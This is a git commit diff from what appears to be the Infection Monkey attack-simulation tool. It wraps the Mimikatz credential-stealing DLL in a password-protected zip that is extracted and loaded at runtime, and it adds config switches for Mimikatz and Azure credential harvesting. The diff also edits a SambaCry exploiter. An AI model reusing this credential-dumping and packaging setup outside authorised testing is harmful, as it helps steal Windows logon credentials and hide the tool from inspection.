Merge pull request #169 from guardicore/feature/wrap-mimikatz-zip
Make mimikatz inside zip and extract only if config says so
This commit is contained in:
commit
bed482d70b
|
@ -274,13 +274,12 @@ class Configuration(object):
|
|||
|
||||
# system info collection
|
||||
collect_system_info = True
|
||||
should_use_mimikatz = True
|
||||
|
||||
###########################
|
||||
# systeminfo config
|
||||
###########################
|
||||
|
||||
mimikatz_dll_name = "mk.dll"
|
||||
|
||||
extract_azure_creds = True
|
||||
|
||||
|
||||
|
|
|
@ -19,7 +19,8 @@ import monkeyfs
|
|||
from exploit import HostExploiter
|
||||
from model import DROPPER_ARG
|
||||
from network.smbfinger import SMB_SERVICE
|
||||
from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path, get_monkey_depth
|
||||
from tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
|
||||
from pyinstaller_utils import get_binary_file_path
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
|
@ -306,9 +307,9 @@ class SambaCryExploiter(HostExploiter):
|
|||
|
||||
def get_monkey_runner_bin_file(self, is_32bit):
|
||||
if is_32bit:
|
||||
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_32), "rb")
|
||||
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_32), "rb")
|
||||
else:
|
||||
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb")
|
||||
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb")
|
||||
|
||||
def get_monkey_commandline_file(self, location):
|
||||
return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location))
|
||||
|
|
|
@ -499,13 +499,6 @@ def build_monkey_commandline(target_host, depth, location=None):
|
|||
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
||||
|
||||
|
||||
def get_binaries_dir_path():
|
||||
if getattr(sys, 'frozen', False):
|
||||
return sys._MEIPASS
|
||||
else:
|
||||
return os.path.dirname(os.path.abspath(__file__))
|
||||
|
||||
|
||||
def get_monkey_depth():
|
||||
from config import WormConfiguration
|
||||
return WormConfiguration.depth
|
||||
|
|
|
@ -1,22 +1,30 @@
|
|||
# -*- mode: python -*-
|
||||
import os
|
||||
import platform
|
||||
|
||||
# Name of zip file in monkey. That's the name of the file in the _MEI folder
|
||||
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
|
||||
|
||||
|
||||
def get_mimikatz_zip_path():
|
||||
if platform.architecture()[0] == "32bit":
|
||||
return '.\\bin\\mk32.zip'
|
||||
else:
|
||||
return '.\\bin\\mk64.zip'
|
||||
|
||||
|
||||
a = Analysis(['main.py'],
|
||||
pathex=['.', '..'],
|
||||
hiddenimports=['_cffi_backend', 'queue'],
|
||||
hookspath=None,
|
||||
runtime_hooks=None)
|
||||
|
||||
|
||||
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
|
||||
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
|
||||
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
|
||||
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
|
||||
|
||||
if platform.system().find("Windows")>= 0:
|
||||
if platform.system().find("Windows") >= 0:
|
||||
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
|
||||
if platform.architecture()[0] == "32bit":
|
||||
a.binaries += [('mk.dll', '.\\bin\\mk32.dll', 'BINARY')]
|
||||
else:
|
||||
a.binaries += [('mk.dll', '.\\bin\\mk64.dll', 'BINARY')]
|
||||
a.datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')]
|
||||
|
||||
pyz = PYZ(a.pure)
|
||||
exe = EXE(pyz,
|
||||
|
@ -28,4 +36,5 @@ exe = EXE(pyz,
|
|||
debug=False,
|
||||
strip=None,
|
||||
upx=True,
|
||||
console=True , icon='monkey.ico')
|
||||
console=True,
|
||||
icon='monkey.ico')
|
||||
|
|
|
@ -0,0 +1,25 @@
|
|||
import os
|
||||
import sys
|
||||
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
|
||||
def get_binaries_dir_path():
|
||||
"""
|
||||
Gets the path to the binaries dir (files packaged in pyinstaller if it was used, infection_monkey dir otherwise)
|
||||
:return: Binaries dir path
|
||||
"""
|
||||
if getattr(sys, 'frozen', False):
|
||||
return sys._MEIPASS
|
||||
else:
|
||||
return os.path.dirname(os.path.abspath(__file__))
|
||||
|
||||
|
||||
def get_binary_file_path(filename):
|
||||
"""
|
||||
Gets the path to a binary file
|
||||
:param filename: name of the file
|
||||
:return: Path to file
|
||||
"""
|
||||
return os.path.join(get_binaries_dir_path(), filename)
|
|
@ -70,4 +70,9 @@ Sambacry requires two standalone binaries to execute remotely.
|
|||
|
||||
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from
|
||||
https://github.com/guardicore/mimikatz/releases/tag/1.0.0
|
||||
Download both 32 and 64 bit DLLs and place them under [code location]\infection_monkey\bin
|
||||
Download both 32 and 64 bit zipped DLLs and place them under [code location]\infection_monkey\bin
|
||||
Alternatively, if you build Mimikatz, put each version in a zip file.
|
||||
1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll
|
||||
2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'.
|
||||
3. The zip file should be named mk32.zip/mk64.zip accordingly.
|
||||
4. Zipping with 7zip has been tested. Other zipping software may not work.
|
|
@ -2,6 +2,9 @@ import binascii
|
|||
import ctypes
|
||||
import logging
|
||||
import socket
|
||||
import zipfile
|
||||
|
||||
from pyinstaller_utils import get_binary_file_path, get_binaries_dir_path
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
|
@ -13,12 +16,30 @@ class MimikatzCollector(object):
|
|||
Password collection module for Windows using Mimikatz.
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
try:
|
||||
# Name of Mimikatz DLL. Must be name of file in Mimikatz zip.
|
||||
MIMIKATZ_DLL_NAME = 'tmpzipfile123456.dll'
|
||||
|
||||
self._isInit = False
|
||||
self._config = __import__('config').WormConfiguration
|
||||
self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name)
|
||||
# Name of ZIP containing Mimikatz. Must be identical to one on monkey.spec
|
||||
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
|
||||
|
||||
# Password to Mimikatz zip file
|
||||
MIMIKATZ_ZIP_PASSWORD = r'VTQpsJPXgZuXhX6x3V84G'
|
||||
|
||||
def __init__(self):
|
||||
self._config = __import__('config').WormConfiguration
|
||||
self._isInit = False
|
||||
self._dll = None
|
||||
self._collect = None
|
||||
self._get = None
|
||||
self.init_mimikatz()
|
||||
|
||||
def init_mimikatz(self):
|
||||
try:
|
||||
with zipfile.ZipFile(get_binary_file_path(MimikatzCollector.MIMIKATZ_ZIP_NAME), 'r') as mimikatz_zip:
|
||||
mimikatz_zip.extract(self.MIMIKATZ_DLL_NAME, path=get_binaries_dir_path(),
|
||||
pwd=self.MIMIKATZ_ZIP_PASSWORD)
|
||||
|
||||
self._dll = ctypes.WinDLL(get_binary_file_path(self.MIMIKATZ_DLL_NAME))
|
||||
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
|
||||
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
|
||||
self._collect = collect_proto(("collect", self._dll))
|
||||
|
|
|
@ -15,6 +15,7 @@ class WindowsInfoCollector(InfoCollector):
|
|||
|
||||
def __init__(self):
|
||||
super(WindowsInfoCollector, self).__init__()
|
||||
self._config = __import__('config').WormConfiguration
|
||||
|
||||
def get_info(self):
|
||||
"""
|
||||
|
@ -28,7 +29,13 @@ class WindowsInfoCollector(InfoCollector):
|
|||
self.get_process_list()
|
||||
self.get_network_info()
|
||||
self.get_azure_info()
|
||||
mimikatz_collector = MimikatzCollector()
|
||||
mimikatz_info = mimikatz_collector.get_logon_info()
|
||||
self.info["credentials"].update(mimikatz_info)
|
||||
self._get_mimikatz_info()
|
||||
|
||||
return self.info
|
||||
|
||||
def _get_mimikatz_info(self):
|
||||
if self._config.should_use_mimikatz:
|
||||
LOG.info("Using mimikatz")
|
||||
self.info["credentials"].update(MimikatzCollector().get_logon_info())
|
||||
else:
|
||||
LOG.info("Not using mimikatz")
|
||||
|
|
|
@ -29,3 +29,4 @@ def is_64bit_python():
|
|||
|
||||
def is_windows_os():
|
||||
return sys.platform.startswith("win")
|
||||
|
||||
|
|
|
@ -286,6 +286,31 @@ SCHEMA = {
|
|||
}
|
||||
}
|
||||
},
|
||||
"system_info": {
|
||||
"title": "System info",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"extract_azure_creds": {
|
||||
"title": "Harvest Azure Credentials",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description":
|
||||
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
|
||||
},
|
||||
"collect_system_info": {
|
||||
"title": "Collect system info",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether to collect system info"
|
||||
},
|
||||
"should_use_mimikatz": {
|
||||
"title": "Should use Mimikatz",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether to use Mimikatz"
|
||||
},
|
||||
}
|
||||
},
|
||||
"life_cycle": {
|
||||
"title": "Life cycle",
|
||||
"type": "object",
|
||||
|
@ -346,12 +371,6 @@ SCHEMA = {
|
|||
"description":
|
||||
"The name of the mutex used to determine whether the monkey is already running"
|
||||
},
|
||||
"collect_system_info": {
|
||||
"title": "Collect system info",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether to collect system info"
|
||||
},
|
||||
"keep_tunnel_open_time": {
|
||||
"title": "Keep tunnel open time",
|
||||
"type": "integer",
|
||||
|
@ -543,26 +562,6 @@ SCHEMA = {
|
|||
"description": "List of SSH key pairs to use, when trying to ssh into servers"
|
||||
}
|
||||
}
|
||||
},
|
||||
"systemInfo": {
|
||||
"title": "System collection",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"mimikatz_dll_name": {
|
||||
"title": "Mimikatz DLL name",
|
||||
"type": "string",
|
||||
"default": "mk.dll",
|
||||
"description":
|
||||
"Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)"
|
||||
},
|
||||
"extract_azure_creds": {
|
||||
"title": "Harvest Azure Credentials",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description":
|
||||
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
|
|
Loading…
Reference in New Issue